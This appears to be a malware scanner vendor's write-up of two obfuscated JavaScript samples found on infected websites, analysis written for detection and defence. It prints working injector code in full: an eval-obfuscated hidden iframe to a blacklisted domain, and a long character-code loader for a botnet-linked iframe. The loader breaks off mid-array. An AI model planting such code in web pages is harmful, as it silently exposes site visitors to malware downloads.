Obfuscated malicious JavaScript code snippets that were detected on scanned websites
Background
Online Website Malware Scanner processes thousands of websites weekly to identify suspicious code 'under the hood' of the legitimate web content. Detected malware code snippets are included in site scan malware report. Database of the scanned domains is publicly available and you can review malware report for each one of scanned websites.
This post covers two examples of web malware. First sample is the hidden iframe to malicious and blacklisted domain. Second sample shows more sophisticated technique that uses multiple obfuscation levels. Finally, the payload itself is interesting as well since it generates new URL for iframe each time user visits this website. The second part of this URL points to runforestrun botnet.
Review site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains
For statistics on website malware and severity levels:
Last day
Last week
Last month
This post covers two examples of web malware. First sample is the hidden iframe to malicious and blacklisted domain. Second sample shows more sophisticated technique that uses multiple obfuscation levels. Finally, the payload itself is interesting as well since it generates new URL for iframe each time user visits this website. The second part of this URL points to runforestrun botnet.
Review site scan reports for:
Clean domains
Potentially Suspicious domains
Suspicious domains
Malicious domains
For statistics on website malware and severity levels:
Last day
Last week
Last month
Sample 1
Detected hidden iframe by malicious code using JavaScript eval function. Iframe downloads content from the blacklisted domain that has already infected 87 other domains over last 90 days as per Google Safe Browsing report.
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Malware details
Beautified script
- eval("d((*)%26!o$^!%c$[[^@%26um((*)%26!e$[[^@%26n[@%26%^t.w$[[^@%26r((*)%26!i((*)%26!t$^!%e(%26@)%26]('(%26@)%26]<i[@%26%^f$^!%r[@%26%^a((*)%26!m$[[^@%26e$[[^@%26 (%26@)%26]s[@%26%^rc[@%26%^=$^!%h$[[^@%26t$^!%t$[[^@%26p$[[^@%26:((*)%26!/(%26@)%26]/$^!%u$[[^@%26p[@%26%^d[@%26%^a[@%26%^t$^!%e$[[^@%26da((*)%26!t$^!%e(%26@)%26].[@%26%^c(%26@)%26]n/$^!% $^!%h(%26@)%26]e(%26@)%26]i$[[^@%26g$[[^@%26h$^!%t$^!%=$^!%1$[[^@%26 [@%26%^w$[[^@%26i((*)%26!d(%26@)%26]th(%26@)%26]=1(%26@)%26]></((*)%26!i$[[^@%26f((*)%26!r$^!%a$^!%m((*)%26!e>'$^!%)$[[^@%26;[@%26%^".replace(/\(\%26\@\)\%26\]|\$\^\!\%|\(\(\*\)\%26\!|\$\[\[\^\@\%26|\[\@\%26\%\^/ig, ""))
Malicious payload
Decoded payload injects hidden iframe to http://updatedate.cn/
The website is Suspicious on Google Safe Browsing.
Multiple obfuscation of JavaScript malware to hide payload that generates hidden iframe to remote malware domain(s).
- document.write('<iframe src=http://updatedate.cn/ height=1 width=1></iframe>');
Blacklisting status
The website is Suspicious on Google Safe Browsing.
 |
| Google Safe Browsing diagnostic |
Sample 2
Multiple obfuscation of JavaScript malware to hide payload that generates hidden iframe to remote malware domain(s).
Malicious action
Malicious iframes are often used to distribute malware hosted on external web resources(websites).
Malware details
Beautified script
First obfuscation level using window.eval:
- window.eval(String.fromCharCode(116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 37, 50, 59, 125,99, 97, 116, 99, 104, 40, 97, 115, 100, 41, 123, 120, 61, 50, 59, 125, 116, 114, 121, 123, 113, 61, 100, 111, 99,117, 109, 101, 110, 116, 91, 40, 120, 41, 63, 34, 99, 34, 43, 34, 114, 34, 58, 50, 43, 34, 101, 34, 43, 34, 97,34, 43, 34, 116, 34, 43, 34, 101, 34, 43, 34, 69, 34, 43, 34, 108, 34, 43, 34, 101, 34, 43, 34, 109, 34, 43, 40,40, 102, 41, 63, 34, 101, 34, 43, 34, 110, 34, 43, 34, 116, 34, 58, 34, 34, 41, 93, 40, 34, 112, 34, 41, 59, 113,46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113, 43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104,40, 102, 119, 98, 101, 119, 101, 41, 123, 105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121,112, 101, 42, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 114, 61, 34, 102, 114, 111, 109, 67, 104,97, 114, 34, 59, 102, 61, 91, 53, 49, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 53, 57, 52, 44, 53, 56, 48, 44, 54,51, 48, 44, 53, 53, 53, 44, 54, 54, 48, 44, 49, 54, 48, 44, 54, 54, 48, 44, 53, 48, 53, 44, 55, 50, 48, 44, 53,56, 48, 44, 52, 57, 50, 44, 52, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 54, 54, 44, 53, 52, 53, 44, 52,54, 56, 44, 53, 56, 53, 44, 54, 53, 52, 44, 52, 57, ...
- 48, 56, 44, 52, 56, 53, 44, 54, 57, 54, 44, 53, 48, 53, 44, 50, 52, 48, 44, 50, 48, 53, 44, 49, 57, 50, 44, 50,49, 48, 44, 49, 57, 50, 44, 50, 52, 48, 44, 55, 50, 48, 44, 51, 53, 48, 44, 52, 50, 48, 44, 51, 53, 48, 44, 52,50, 48, 44, 50, 48, 53, 44, 50, 53, 56, 44, 49, 54, 48, 44, 50, 52, 48, 44, 51, 56, 53, 44, 53, 56, 50, 44, 53,56, 48, 44, 54, 50, 52, 44, 50, 51, 48, 44, 54, 56, 52, 44, 53, 53, 53, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54,48, 48, 44, 50, 48, 48, 44, 54, 57, 48, 44, 49, 54, 48, 44, 50, 53, 50, 44, 49, 54, 48, 44, 50, 56, 56, 44, 54,48, 48, 44, 52, 50, 48, 44, 51, 53, 48, 44, 52, 50, 48, 44, 50, 48, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54,48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50,53, 44, 54, 57, 48, 44, 50, 51, 48, 44, 51, 57, 48, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 51, 49,50, 44, 50, 56, 48, 44, 51, 48, 48, 44, 50, 55, 53, 44, 50, 57, 52, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50, 53, 44, 54, 57, 48,44, 50, 51, 48, 44, 52, 54, 50, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 51, 48, 48, 44, 50, 52, 53,44, 51, 49, 50, 44, 50, 55, 53, 44, 51, 49, 50, 44, 50, 56, 48, 44, 51, 48, 54, 44, 50, 55, 48, 44, 51, 49, 50,44, 50, 55, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44, 53, 55, 53, 44, 50, 55, 54, 44, 52, 48, 53, 44, 49, 57, 50, 44,51, 48, 53, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, 52, 44, 53, 50, 53, 44, 54, 57, 48, 44, 50, 51, 48, 44,52, 54, 50, 44, 49, 54, 48, 44, 50, 56, 50, 44, 49, 54, 48, 44, 54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44,53, 55, 53, 44, 50, 55, 54, 44, 51, 50, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 54, 57, 54, 44, 53, 50, 48, 44, 54, 51, 48, 44, 53, 55, 53, 44, 50, 55, 54, 44, 52,49, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 50, ...
- 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 52, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44,53, 52, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 53, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44,50, 51, 52, 44, 53, 53, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 54, 48, 44, 50, 51, 52, 44,50, 50, 48, 44, 50, 51, 52, 44, 53, 54, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 55, 48, 44,50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 55, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44,53, 56, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 56, 53, 44, 50, 51, 52, 44, 50, 50, 48, 44,50, 51, 52, 44, 53, 57, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 53, 57, 53, 44, 50, 51, 52, 44,50, 50, 48, 44, 50, 51, 52, 44, 54, 48, 48, 44, 50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 54, 48, 53, 44,50, 51, 52, 44, 50, 50, 48, 44, 50, 51, 52, 44, 54, 49, 48, 44, 50, 51, 52, 44, 52, 54, 53, 44, 51, 53, 52, 44,53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 55, 48, 56, 44, 52, 56, 53, 44, 54,56, 52, 44, 49, 54, 48, 44, 54, 57, 48, 44, 53, 56, 48, 44, 54, 56, 52, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49,54, 48, 44, 50, 51, 52, 44, 49, 57, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 54, 49, 50, 44, 53, 53, 53, 44, 54, 56, 52, 44, 50, 48, 48, 44, 55, 48, 56, 44, 52, 56,53, 44, 54, 56, 52, 44, 49, 54, 48, 44, 54, 51, 48, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 50, 56,56, 44, 50, 57, 53, 44, 49, 57, 50, 44, 53, 50, 53, 44, 49, 57, 50, 44, 51, 48, 48, 44, 49, 57, 50, 44, 53, 52,48, 44, 54, 48, 54, 44, 53, 53, 48, 44, 54, 49, 56, 44, 53, 56, 48, 44, 54, 50, 52, 44, 50, 57, 53, 44, 49, 57,50, 44, 53, 50, 53, 44, 49, 57, 50, 44, 50, 49, 53, 44, 50, 53, 56, 44, 49, 54, 48, 44, 50, 52, 54, 44, 54, 49,53, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 55, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 49, 57, 50, 44, 50, 49, 53,44, 51, 54, 54, 44, 49, 54, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 48, 54,44, 53, 55, 48, 44, 54, 57, 48, 44, 52, 53, 53, 44, 53, 57, 52, 44, 53, 55, 48, 44, 54, 48, 54, 44, 52, 56, 53,44, 54, 57, 54, 44, 53, 48, 53, 44, 52, 57, 50, 44, 52, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 54, 54,44, 53, 52, 53, 44, 52, 54, 56, 44, 53, 56, 53, 44, 54, 53, 52, 44, 52, 57, 48, 44, 54, 48, 54, 44, 53, 55, 48,44, 50, 52, 48, 44, 53, 55, 48, 44, 53, 56, 50, 44, 53, 53, 48, 44, 54, 48, 48, 44, 50, 50, 48, 44, 49, 57, 50,44, 50, 52, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 48,44, 54, 48, 54, 44, 53, 55, 48, 44, 54, 57, 48, 44, 50, 51, 48, 44, 54, 52, 56, 44, 53, 48, 53, 44, 54, 54, 48,44, 53, 49, 53, 44, 54, 57, 54, 44, 53, 50, 48, 44, 49, 57, 50, 44, 50, 50, 53, 44, 49, 57, 50, 44, 50, 52, 53,44, 50, 52, 54, 44, 52, 54, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44,49, 54, 48, 44, 55, 53, 48, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54,56, 52, 44, 53, 48, 53, 44, 54, 57, 54, 44, 53, 56, 53, 44, 54, 56, 52, 44, 53, 53, 48, 44, 49, 57, 50, 44, 53,55, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 49, 57, 50, 44, 50, 49, 53, 44, 49, 57, 50, 44, 49, 57, 53, 44, 50,55, 54, 44, 49, 57, 53, 44, 49, 57, 50, 44, 50, 49, 53, 44, 49, 57, 50, 44, 54, 49, 48, 44, 54, 54, 54, 44, 53,53, 48, 44, 54, 48, 54, 44, 50, 57, 53, 44, 54, 48, 44, 54, 50, 53, 44, 54, 48, 44, 53, 48, 44, 54, 57, 48, 44,53, 48, 53, 44, 54, 57, 54, 44, 52, 50, 48, 44, 54, 51, 48, 44, 53, 52, 53, 44, 54, 48, 54, 44, 53, 53, 53, 44,55, 48, 50, 44, 53, 56, 48, 44, 50, 52, 48, 44, 53, 49, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 53, 57, 52, 44,53, 56, 48, 44, 54, 51, 48, 44, 53, 53, 53, 44, 54, 54, 48, 44, 50, 48, 48, 44, 50, 52, 54, 44, 54, 49, 53, 44,54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 56, 52, 44, 54,48, 53, 44, 55, 51, 56, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 50, 52, 48, 44, 53, 56,48, 44, 55, 50, 54, 44, 53, 54, 48, 44, 54, 48, 54, 44, 53, 53, 53, 44, 54, 49, 50, 44, 49, 54, 48, 44, 54, 51,48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 52, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 53, 50, 50, 44, 52, 56,53, 44, 54, 57, 48, 44, 51, 51, 53, 44, 54, 56, 52, 44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48,54, 44, 53, 48, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 51, 54, 54, 44, 49, 54, 48, 44, 50, 48, 52, 44, 53, 56,53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 54, 48, 54, 44, 53, 49, 48, 44, 54, 51, 48, 44, 53, 53, 48, 44, 54, 48,54, 44, 53, 48, 48, 44, 50, 48, 52, 44, 50, 48, 53, 44, 55, 51, 56, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 52, 56, 53,44, 54, 53, 52, 44, 53, 48, 53, 44, 53, 50, 50, 44, 52, 56, 53, 44, 54, 57, 48, 44, 51, 51, 53, 44, 54, 56, 52,44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 53, 48, 48, 44, 49, 57, 50, 44, 51, 48, 53,44, 49, 57, 50, 44, 53, 56, 48, 44, 54, 56, 52, 44, 53, 56, 53, 44, 54, 48, 54, 44, 50, 57, 53, 44, 54, 48, 44,49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 57, 48, 44, 53, 56, 50, 44,53, 55, 48, 44, 49, 57, 50, 44, 53, 56, 53, 44, 54, 54, 48, 44, 53, 50, 53, 44, 55, 50, 48, 44, 49, 54, 48, 44,51, 54, 54, 44, 49, 54, 48, 44, 52, 54, 50, 44, 52, 56, 53, 44, 54, 57, 54, 44, 53, 50, 48, 44, 50, 55, 54, 44,53, 55, 48, 44, 54, 54, 54, 44, 53, 56, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 50, 52, 48, 44, 50, 49, 53, 44,54, 54, 48, 44, 53, 48, 53, 44, 55, 49, 52, 44, 49, 54, 48, 44, 52, 48, 56, 44, 52, 56, 53, 44, 54, 57, 54, 44,53, 48, 53, 44, 50, 52, 48, 44, 50, 48, 53, 44, 50, 56, 50, 44, 50, 52, 53, 44, 50, 56, 56, 44, 50, 52, 48, 44,50, 56, 56, 44, 50, 48, 53, 44, 51, 53, 52, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 55, 48, 56, 44, 52, 56, 53, 44, 54, 56, 52, 44, 49, 54, 48, 44, 54, 48, 48, 44, 53,53, 53, 44, 54, 53, 52, 44, 52, 56, 53, 44, 54, 51, 48, 44, 53, 53, 48, 44, 52, 54, 56, 44, 52, 56, 53, 44, 54,53, 52, 44, 53, 48, 53, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 53, 49, 53, 44, 54, 48, 54, 44, 53,53, 48, 44, 54, 48, 54, 44, 53, 55, 48, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 52, 48, 48, 44, 54,57, 48, 44, 53, 48, 53, 44, 55, 48, 50, 44, 53, 48, 48, 44, 54, 54, 54, 44, 52, 49, 48, 44, 53, 56, 50, 44, 53,53, 48, 44, 54, 48, 48, 44, 53, 53, 53, 44, 54, 53, 52, 44, 52, 49, 53, 44, 54, 57, 54, 44, 53, 55, 48, 44, 54,51, 48, 44, 53, 53, 48, 44, 54, 49, 56, 44, 50, 48, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54, 51, 48, 44, 54,48, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50, 57, 52, 44, 50, 55, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50,51, 52, 44, 53, 55, 48, 44, 55, 48, 50, 44, 49, 57, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54,48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55,48, 44, 54, 53, 52, 44, 49, 54, 48, 44, 51, 54, 54, 44, 49, 54, 48, 44, 54, 48, 48, 44, 53, 53, 53, 44, 53, 57,52, 44, 53, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48, 44, 50, 55, 54, 44, 52, 57,53, 44, 54, 56, 52, 44, 53, 48, 53, 44, 53, 56, 50, 44, 53, 56, 48, 44, 54, 48, 54, 44, 51, 52, 53, 44, 54, 52,56, 44, 53, 48, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48, 44, 50, 52, 48, 44, 49, 55,48, 44, 52, 51, 56, 44, 51, 53, 48, 44, 52, 57, 50, 44, 51, 50, 53, 44, 52, 54, 50, 44, 51, 52, 53, 44, 50, 48,52, 44, 50, 48, 53, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50,44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54, 53, 52, 44, 50, 51, 48,44, 54, 57, 48, 44, 53, 48, 53, 44, 54, 57, 54, 44, 51, 50, 53, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 56, 52,44, 53, 50, 53, 44, 53, 56, 56, 44, 53, 56, 53, 44, 54, 57, 54, 44, 53, 48, 53, 44, 50, 52, 48, 44, 49, 55, 48,44, 54, 57, 48, 44, 53, 55, 48, 44, 53, 57, 52, 44, 49, 55, 48, 44, 50, 54, 52, 44, 49, 54, 48, 44, 50, 48, 52,44, 53, 50, 48, 44, 54, 57, 54, 44, 53, 56, 48, 44, 54, 55, 50, 44, 50, 57, 48, 44, 50, 56, 50, 44, 50, 51, 53,44, 50, 48, 52, 44, 50, 49, 53, 44, 54, 48, 48, 44, 53, 53, 53, 44, 54, 53, 52, 44, 52, 56, 53, 44, 54, 51, 48,44, 53, 53, 48, 44, 52, 54, 56, 44, 52, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 50, 53, 56, 44, 49, 55, 48,44, 50, 56, 50, 44, 53, 55, 48, 44, 55, 48, 50, 44, 53, 53, 48, 44, 54, 49, 50, 44, 53, 53, 53, 44, 54, 56, 52,44, 53, 48, 53, 44, 54, 57, 48, 44, 53, 56, 48, 44, 54, 56, 52, 44, 53, 56, 53, 44, 54, 54, 48, 44, 51, 49, 53,44, 54, 57, 48, 44, 53, 50, 53, 44, 54, 48, 48, 44, 51, 48, 53, 44, 53, 56, 56, 44, 53, 53, 53, 44, 54, 57, 54,44, 53, 53, 48, 44, 54, 48, 54, 44, 53, 56, 48, 44, 51, 48, 48, 44, 49, 55, 48, 44, 50, 52, 54, 44, 50, 57, 53,44, 49, 57, 50, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44,49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52, 44, 53, 52, 53, 44, 50, 55, 54, 44, 53, 55, 53, 44, 54, 57, 54, 44,54, 48, 53, 44, 54, 52, 56, 44, 53, 48, 53, 44, 50, 55, 54, 44, 53, 57, 53, 44, 54, 51, 48, 44, 53, 48, 48, 44,54, 57, 54, 44, 53, 50, 48, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 50, 56, 56, 44,53, 54, 48, 44, 55, 50, 48, 44, 49, 55, 48, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49,57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54,53, 52, 44, 50, 51, 48, 44, 54, 57, 48, 44, 53, 56, 48, 44, 55, 50, 54, 44, 53, 52, 48, 44, 54, 48, 54, 44, 50,51, 48, 44, 54, 50, 52, 44, 53, 48, 53, 44, 54, 51, 48, 44, 53, 49, 53, 44, 54, 50, 52, 44, 53, 56, 48, 44, 49,57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 50, 56, 56, 44, 53, 54, 48, 44, 55, 50, 48, 44, 49,55, 48, 44, 51, 53, 52, 44, 49, 54, 48, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57,50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54,48, 44, 49, 57, 50, 44, 53, 50, 53, 44, 54, 49, 50, 44, 53, 55, 48, 44, 54, 53, 52, 44, 50, 51, 48, 44, 54, 57,48, 44, 53, 56, 48, 44, 55, 50, 54, 44, 53, 52, 48, 44, 54, 48, 54, 44, 50, 51, 48, 44, 55, 48, 56, 44, 53, 50,53, 44, 54, 57, 48, 44, 53, 50, 53, 44, 53, 56, 56, 44, 53, 50, 53, 44, 54, 52, 56, 44, 53, 50, 53, 44, 54, 57,54, 44, 54, 48, 53, 44, 49, 57, 50, 44, 51, 48, 53, 44, 49, 57, 50, 44, 49, 55, 48, 44, 54, 50, 52, 44, 53, 50,53, 44, 54, 48, 48, 44, 53, 48, 48, 44, 54, 48, 54, 44, 53, 53, 48, 44, 50, 48, 52, 44, 50, 57, 53, 44, 49, 57,50, 44, 53, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48,44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 54, 48, 48,44, 53, 53, 53, 44, 53, 57, 52, 44, 53, 56, 53, 44, 54, 53, 52, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 56, 48,44, 50, 55, 54, 44, 52, 57, 48, 44, 54, 54, 54, 44, 53, 48, 48, 44, 55, 50, 54, 44, 50, 51, 48, 44, 53, 56, 50,44, 53, 54, 48, 44, 54, 55, 50, 44, 53, 48, 53, 44, 54, 54, 48, 44, 53, 48, 48, 44, 52, 48, 50, 44, 53, 50, 48,44, 54, 51, 48, 44, 53, 52, 48, 44, 54, 48, 48, 44, 50, 48, 48, 44, 54, 51, 48, 44, 53, 49, 48, 44, 54, 56, 52,44, 53, 52, 53, 44, 50, 52, 54, 44, 50, 57, 53, 44, 54, 48, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44,49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 54, 50, 53, 44, 54, 48, 44, 49,54, 48, 44, 49, 57, 50, 44, 49, 54, 48, 44, 49, 57, 50, 44, 54, 50, 53, 44, 53, 57, 52, 44, 52, 56, 53, 44, 54,57, 54, 44, 52, 57, 53, 44, 54, 50, 52, 44, 50, 48, 48, 44, 54, 48, 54, 44, 50, 48, 53, 44, 55, 51, 56, 44, 54,50, 53, 44, 54, 48, 44, 54, 50, 53, 44, 50, 54, 52, 44, 49, 54, 48, 44, 51, 49, 56, 44, 50, 52, 48, 44, 50, 56,56, 44, 50, 48, 53, 44, 51, 53, 52, 93, 59, 118, 61, 34, 101, 118, 97, 34, 59, 125, 105, 102, 40, 118, 41, 101,61, 119, 105, 110, 100, 111, 119, 91, 118, 43, 34, 108, 34, 93, 59, 119, 61, 102, 59, 115, 61, 91, 93, 59, 114,61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 34, 34, 41, 59,102, 111, 114, 40, 59, 49, 55, 55, 54, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61, 49, 41, 123, 106, 61, 105, 59,105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 91, 102, 114, 43, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34,58, 49, 50, 41, 93, 40, 40, 119, 91, 106, 93, 47, 40, 53, 43, 101, 40, 34, 106, 37, 50, 34, 41, 41, 41, 41, 59,125, 10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59, 125, 10));
Second obfuscation level:
- try {
- prototype % 2;
- } catch (asd) {
- x = 2;
- }
- try {
- q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" :"")]("p");
- q.appendChild(q + "");
- } catch (fwbewe) {
- i = 0;
- try {
- prototype * 5;
- } catch (z) {
- fr = "fromChar";
- f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468,585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580,624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192,590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520,630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624,525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525,354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192,160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50,192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624,525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385,354, 50, 192, 160, 